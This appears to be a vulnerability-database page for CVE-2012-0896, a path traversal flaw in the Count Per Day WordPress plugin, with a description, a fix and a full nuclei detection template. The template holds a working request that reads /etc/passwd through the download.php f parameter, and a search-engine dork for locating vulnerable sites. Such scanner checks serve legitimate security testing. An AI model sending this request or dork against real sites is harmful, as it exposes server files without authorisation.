HexBrain

Browse / CVEs / CVE-2012-0896

CVE-2012-0896· count per day project / count per day· CWE-22

Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access

mediumseverity
5CVSS score
22.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further compromise of the system.

Fix

Upgrade to a patched version of the Count Per Day plugin (version 3.2 or above) or apply the vendor-supplied patch to fix the path traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2012-0896 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2012-0896

info:
  name: Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access
  author: daffainfo
  severity: medium
  description: An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further compromise of the system.
  remediation: |
    Upgrade to a patched version of the Count Per Day plugin (version 3.2 or above) or apply the vendor-supplied patch to fix the path traversal vulnerability.
  reference:
    - https://packetstormsecurity.com/files/108631/
    - http://plugins.trac.wordpress.org/changeset/488883/count-per-day
    - https://https://nvd.nist.gov/vuln/detail/CVE-2012-0896
    - http://wordpress.org/extend/plugins/count-per-day/changelog/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72385
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-0896
    cwe-id: CWE-22
    epss-score: 0.22664
    epss-percentile: 0.97736
    cpe: cpe:2.3:a:count_per_day_project:count_per_day:2.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: count_per_day_project
    product: count_per_day
    google-query: inurl:"/wp-content/plugins/count-per-day"
  tags: cve,cve2012,packetstorm,lfi,wordpress,wp-plugin,traversal,count_per_day_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from